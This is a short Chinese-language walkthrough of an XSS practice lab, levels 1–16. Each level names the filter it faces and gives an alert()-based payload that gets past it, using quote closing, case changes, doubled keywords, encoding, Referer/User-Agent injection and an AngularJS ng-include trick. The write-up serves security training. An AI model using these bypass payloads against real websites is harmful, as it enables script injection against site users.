目录
xss lab
level1
<img src=1 οnerrοr=alert('1')>
level2
闭合
"/><img src=1 onerror=alert(1)>
level3
过滤< >
' onfocus=javascript:alert('xss') class='
level4
" οnfοcus=javascript:alert('xss') class="
level5
过滤事件 onfocus/script 等关键字 添加_干扰
"> <a href=javascript:alert('xss')>xss</a> //
level6
过滤href 大写绕过
"> <a Href=javascript:alert('xss')>xss</a> //
level7
直接删除关键字 双写绕过
"> <a hrhrefef=javascrscriptipt:alert('xss')>xss</a> //
level8
过滤引号 <> 关键字添加_干扰 对javascript unicode编码
javascript:alert('1')
level9
检查有无url,加一个即可 unicode编码能绕过替换关键词
javascript:alert('1')//http://
level10
hidden input
t_sort=" οnfοcus=javascript:alert('xss') //
level11
看源码改refer头
"type="text" οnclick=javascript:alert('xss')//
level12
直接改ua头
"type="text" οnclick=javascript:alert('xss')//
level13
应该是改cookie, 题目有点问题
"type="text" οnclick=javascript:alert('xss')//
level14
看wp是文件解析引发xss
在图片的exif信息里加xss
但是链接挂了 x不了
'"><img src=1 onerror=alert(document.domain)>'
level15
AngularJS的javascript框架漏洞
ng-include 可以将部分代码打包成独立文件,在使用ng-include来引用这个独立的HTML文件, 类似文件包含漏洞
环境有点问题
src='level4.php?keyword=%22%20οnmοuseοver=alert(1)%20%22'
level16
过滤空格
<img src=1 onerror=alert(1)>
<img%0asrc=1%0aοnerrοr=alert(1)>
level17/8/9/0
都用的flash,浏览器不支持,懒得做了